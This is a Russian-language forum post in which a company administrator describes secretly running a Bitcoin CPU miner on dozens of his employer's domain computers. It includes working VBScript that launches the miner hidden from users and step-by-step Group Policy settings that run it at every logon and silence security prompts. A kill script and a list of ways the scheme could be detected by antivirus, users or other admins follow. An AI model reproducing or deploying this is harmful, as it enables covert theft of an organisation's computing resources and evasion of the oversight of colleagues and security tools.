Здравствуйте!
Обнаружил, что наше предприятие закупает в последнее время новые компьютеры, а они все 4-х ядерные. Как правило это Intel Quad Core и
Dual Core, но с гипертрейдингом. Таких машин под две сотни. Появилась идея заставить их немного помайнить, просто в качестве эксперимента, что бы выяснить сколько можно их них выжать. К сожалению видеокарты на них самые обычные и для майнинга не приспособлены, поэтому за основу я взял вот этот:
http://yyz.us/bitcoin/cpuminer-installer-1.0.2.zipCPU miner.
В качестве пула выбрал DeepBit.
Некоторые машины все же достаточно нагружены или за ними работают опытные пользователи, поэтому что-бы отфильтровать, на каких машинах будем майнить, а на каких нет, на http сервере разместил файлик, формат его такой: имя_компа,хвост_воркера. Файлик имеет UNIX-like перевод строки, т.е. код 0A, так как тут у меня линух.
Далее на VSH был написан следующий скрипт:
On Error Resume Next
Set WshShell = WScript.CreateObject("WScript.Shell")
Set WshSysEnv = WshShell.Environment("SYSTEM")
CPUs = WshSysEnv("NUMBER_OF_PROCESSORS")
if CPUs > 3 Then
if count() <> FALSE Then
cmd="\\domain.ru\sysvol\domain.ru\Policies\{31C2F340-016D-11D2-945F-00C04FB984F9}\USER\Microsoft\miner\minerd.exe --algo cryptopp_asm32 -t 1 -r -1 --url http://pit.deepbit.net:8332 --userpass [email protected]_"&count&":pass"
WshShell.Run cmd,0
end if
end if
Function count()
'Detect hostname
Set WshNetwork = WScript.CreateObject("WScript.Network")
With CreateObject("MSXML2.XMLHTTP")
.open "GET", "http://ip.add.re.ss/complist.txt", False
.send
list = .responseText
End With
lststr = Split(list,chr(10))
count=FASE
For i = 0 To Ubound(lststr) - 1
ddd = Split(lststr(i),",")
c = StrComp (WshNetwork.ComputerName, ddd(0), [1])
if c = 0 then
count = ddd(1)
end if
Next
End Function
Все файлы майнера и сам скрипт лежит в папке SYSVOL, которая находится на DFS шаре контроллера домена.
Что делает скрипт:
1. Проверяет количество ядер на компьютере, если их больше 3, значит на нем можно майнить.
2. Загружает список complist.txt c
http://ip.add.re.ss и ищет свое имя в этом списке.
3. Если имя найдено, то берет значение в этом списке после запятой, это хвост майнера и запускает майнер в скрытом режиме, т.е. окно майнера не появляется.
Теперь о том, как этот скрипт запустить на всех компьютерах домана:
1. Добавить сетевой адрес домена \\domain.ru в местные узлы в безопасности Internet Explorer, для этого:
1.1 Открываем Active Directory - пользователи и компьютеры
1.2 Правой кнопкой мыши по domen.ru -> свойства
1.3 В появившемся окне выбираем вкладку Групповая политика
1.4 Выбираем нашу политику и жмем "Изменить"
1.5 Находим пункт конфигурация пользователя->Конфигурация windows->настройка Internet Explorer->Безопасность->параметры безопасности и оценка содержимого
1.6 В появившимся окошке выбираем Импортировать текущие параметры безопасности и конфиденциальности
1.7 Тут вас спросят, ответьте продолжить и правее нажимаем кнопку "настройка"
1.8 Выбираем "Местная интрасеть" и жмем кнопку узлы
1.9 добавляем узел в зону, примерно такого вида file://domain.ru
Все теперь если запустить файл руками из папки \\domain.ru\SYSVOL...блабла... ругани винды на безопасность не будет, продолжаем, что бы скрипт сам запускался, в нашей же политике делем сдедующее:
2.1 идем в конфигурация пользователя->Административные шаблоны->Система->сценарии->синхронное выполнение сценариев входа в систему
2.2 если включено, ставим "не задано".
3. Добавляем скрипт в автозагрузку
3.1 конфигурация пользователя->Конфигурация windows->Сценарии (Вход/Выход из системы)->вход в систему
3.2 тут жмем "Добавить"
3/3 Добавляем наш скрипт \\domain.ru\sysvol\domain.ru\Policies\{31C2F340-016D-11D2-945F-00C04FB984F9}\USER\Microsoft\miner\miner.vbs
Главное аккуратно с путем, скопируйте его через буфер обмена.
4. На всякий случай делаем gpupdate, что бы обновить политику.
Все, теперь при входе пользователя в систему скрипт будет запускаться и если условия соблюдены, будет майнить на одном ядре (параметры запуска смотри в переменной cmd). Из доступных мне ~80 компах, получается выжимать до 120 мегахешей, конечно это баловство больше и намайнив 1 BTC я все это дело скорее всего выключу. Ксати если нужно все быстро выключить то нужно запустить следующий скрипт, на одной из машин домена с правами администратора домена:
Set WshShell = WScript.CreateObject("WScript.Shell")
With CreateObject("MSXML2.XMLHTTP")
.open "GET", "http://ip.add.re.ss/complist.txt", False
.send
list = .responseText
End With
lststr = Split(list,chr(10))
For i = 0 To Ubound(lststr) - 1
ddd = Split(lststr(i),",")
cmd = "taskkill /S "&ddd(0)&" /IM minerd.exe"
WshShell.Run cmd,0
Next
Скрипт читает файлик complist.txt и киляет процесс minerd.exe на всех наших компьютерах.
Все это было сделано в ознакомительных целях, аля поиграться, может быть у кого-то имеются в домене компьютеры с нормальными видюхами, то можно попробовать заюзать их похожим образом. Да кстати, запустить скрипт от имени компьютера, что бы он начал майнить еще до входа пользователя, у меня не получилось. vbs скрипт запускается, но майнер фиг, почему не разбирался.
Если с компьютеров нету прямого доступа в Интернет, то можно завернуть их всех на свой компьютер и выпустить через какой-нибудь NAT.
Как можно спалится:
1. Возможно когда-нибудь антивирусы будут считать майнеры потенциально-опасным ПО, ведь случаи использования вирус+майнер уже были.
Тогда на всех компах выскочит сообщение, что мало приятно.
2. Какой-нибудь юзер (или другой админ, инженер, не важно) обнаружит процесс, которые отедает 25% процессорного времени, тоже фигово.
3. Другой админ обнаружит запись в групповой политике.
4. Жадность фраера сгубит и майнер будет запущен с большим количеством нитей
Ведь можно получить и 200 и 300 мегахешей даже на этих компах.